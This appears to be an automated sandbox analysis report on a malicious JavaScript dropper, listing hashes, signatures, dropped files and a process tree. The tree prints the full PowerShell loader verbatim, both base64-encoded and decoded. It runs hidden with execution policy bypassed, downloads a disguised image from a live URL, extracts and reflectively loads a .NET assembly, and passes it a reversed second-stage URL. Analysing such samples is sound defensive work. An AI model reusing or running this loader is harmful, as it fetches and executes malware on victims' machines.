Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04-12-2024 03:04

General

  • Target

    aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe.js

  • Size

    3KB

  • MD5

    f41d5e2a458b43a44bf6f91e6172fd1f

  • SHA1

    9d079763a4430d644a903168f29dae713768818b

  • SHA256

    aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe

  • SHA512

    b5188d638825bfc4f68810789bc5ecd3c1b1b4c0f0ed00cba15640c24f944c68f52648322c459f2129bdcdf4bc3f7bf0188f1b584e5076b91f1a91d3e792e1b5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\System32\cscript.exe
      "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\desentulhador.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $embebido = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB0AHIAaQBwAHUAZABpAGEAcgAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAGwAbwBxAHUAYQBjAGkAZABhAGQAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABlAHMAdAByAGEAdABpAGcAcgBhAHAAaABpAGEAIAA9ACAAJABsAG8AcQB1AGEAYwBpAGQAYQBkAGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdAByAGkAcAB1AGQAaQBhAHIAKQA7ACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGUAcwB0AHIAYQB0AGkAZwByAGEAcABoAGkAYQApADsAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAYwBhAGwAdQBnAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwApADsAJABtAGEAbABhAGwAZQB1AGMAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJABjAGEAbAB1AGcAYQApADsAJABlAHMAYwBvAHIAcABpAHUAcgBhACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtAGcAdAAgACQAZQBzAGMAbwByAHAAaQB1AHIAYQA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgACsAPQAgACQAcgBoAGUAdABvAHIAaQBjAGkAcwBtAG8ALgBMAGUAbgBnAHQAaAA7ACQAcwBlAHIAZQBuAGEAdABpAHMAdABhACAAPQAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtACAAJABlAHMAYwBvAHIAcABpAHUAcgBhADsAJABjAGEAbABhAGYAZQB0AGUAYQByACAAPQAgACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABlAHMAYwBvAHIAcABpAHUAcgBhACwAIAAkAHMAZQByAGUAbgBhAHQAaQBzAHQAYQApADsAJABhAG4AaQBuAGEAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAEwAZQBuAGcAdABoACkAXQA7ACQAbwBwAHAAbwBuAGUAbgB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQBuAGkAbgBhAHIAKQA7ACQAYQBsAGEAYgBpAHIAaQBuAHQAYQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAG8AcABwAG8AbgBlAG4AdABlACkAOwAkAGUAbgBmAGUAcgBtAGUAaQByAGEAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJABlAG4AZgBlAHIAbQBlAGkAcgBhAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwBXAEYAaQBDAFgALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAMQAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$incommunicabilidade = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($embebido));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $incommunicabilidade
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tripudiar = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$loquacidade = New-Object System.Net.WebClient;$estratigraphia = $loquacidade.DownloadData($tripudiar);$expressivo = [System.Text.Encoding]::UTF8.GetString($estratigraphia);$rhetoricismo = '<<BASE64_START>>';$caluga = '<<BASE64_END>>';$escorpiura = $expressivo.IndexOf($rhetoricismo);$malaleuca = $expressivo.IndexOf($caluga);$escorpiura -ge 0 -and $malaleuca -gt $escorpiura;$escorpiura += $rhetoricismo.Length;$serenatista = $malaleuca - $escorpiura;$calafetear = $expressivo.Substring($escorpiura, $serenatista);$aninar = -join ($calafetear.ToCharArray() | ForEach-Object { $_ })[-1..-($calafetear.Length)];$opponente = [System.Convert]::FromBase64String($aninar);$alabirintar = [System.Reflection.Assembly]::Load($opponente);$enfermeira = [dnlib.IO.Home].GetMethod('VAI');$enfermeira.Invoke($null, @('0/WFiCX/r/ee.etsap//:sptth', 'cartilaginoso', 'cartilaginoso', 'cartilaginoso', 'MSBuild', 'cartilaginoso', 'cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','1','cartilaginoso'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2712

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    397aaeed1eb56d6dd7edf637a78c4d0f

    SHA1

    7ad3e7e4e241ca3c30057fb39a242c2b06fed614

    SHA256

    befa25dacf49652813e48146043f4649405c5fa0ef25009fd65b4db4231037ef

    SHA512

    d51596f5d77876336fe7c60bc42fe7c9a804d1c22ebd71dfb989efc7640023f308b51c87350f82018049c5b98aeee26b6056f230ef6f444ca4795f6a93d6419c

  • C:\Users\Admin\AppData\Local\Temp\Cab8AE1.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar8B71.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\desentulhador.js

    Filesize

    155KB

    MD5

    f559b24304a1b17b80bccacc2965a3a6

    SHA1

    74f09250e2531a5504e0373b7cb038c4c4d722bf

    SHA256

    23ad8882ca8cdc770dd6d31890258af9f81aa09e5188d6a92dcfbef841dfab8f

    SHA512

    aa1a70e1ae7e21f563d6aae0c81471a3d20d024a8c15824855f4c9cb2c56ee716daeb54380433c9ceb6421a3aff130d7af73dd281e2d1ab969434b05fc6461d6

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    e21ba226bc5b0508a8758c2a991c0fc3

    SHA1

    3f944bb56d777323fa92afa250f4ad2e00fb9296

    SHA256

    1b8b74935e6fb858a704c037e0a188e2495c7461a74b8088fe0fd09474f1fb36

    SHA512

    42b7f4f006a43875824995267f29a8cd535f383beb8802fea82085b2aa4e91a20911f1c74ae3a0ff7db24414350d76526919ea918dc388d8c32145465c2ce3fc

  • memory/2712-66-0x000000001AD60000-0x000000001AEB8000-memory.dmp

    Filesize

    1.3MB

  • memory/2864-22-0x000000001B790000-0x000000001BA72000-memory.dmp

    Filesize

    2.9MB

  • memory/2864-23-0x00000000023A0000-0x00000000023A8000-memory.dmp

    Filesize

    32KB